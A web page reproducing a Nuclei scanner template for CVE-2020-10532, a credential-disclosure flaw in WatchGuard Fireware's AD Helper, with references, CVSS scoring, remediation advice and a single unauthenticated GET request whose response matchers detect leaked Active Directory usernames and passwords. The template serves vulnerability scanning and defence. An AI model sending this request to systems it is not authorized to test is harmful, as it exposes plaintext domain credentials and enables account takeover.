CVE-2020-10532: WatchGuard Fireware AD Helper Component - Credentials Disclosure

2026-06-17 WatchGuard Fireware PoC Public

Description

WatchGuard Fireware Threat Detection and Response (TDR) service contains a credential-disclosure vulnerability in the AD Helper component that allows unauthenticated attackers to gain Active Directory credentials for a Windows domain in plaintext.

PoC

id: CVE-2020-10532

info:
  name: WatchGuard Fireware AD Helper Component - Credentials Disclosure
  author: gy741
  severity: critical
  description: WatchGuard Fireware Threat Detection and Response (TDR) service contains a credential-disclosure vulnerability in the AD Helper component that allows unauthenticated attackers to gain Active Directory credentials for a Windows domain in plaintext.
  impact: |
    Remote attackers can retrieve cleartext passwords, leading to potential account compromise and further system exploitation.
  remediation: |
    Update to version 5.8.5.10317 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10532
    - https://www.exploit-db.com/exploits/48203
    - https://www.watchguard.com/wgrd-blog/tdr-ad-helper-credential-disclosure-vulnerability
  classification:
    cve-id: CVE-2020-10532
    epss-score: 0.02785
    epss-percentile: 0.85683
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-288
  metadata:
    max-request: 1
  tags: cve,cve2020,watchguard,disclosure,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/rest/domains/list?sortCol=fullyQualifiedName&sortDir=asc"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"fullyQualifiedName"'
          - '"logonDomain"'
          - '"username"'
          - '"password"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100bda9e12dc6e195387dcfff17b74fe2cd2e925a3c3f7f7b48ce18d808a367c08e0221009fef839c46e0e6354ece08714fd034fe389cf9c20db3d7eca167d0444b1c636c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-10532.yaml

Related Vulnerabilities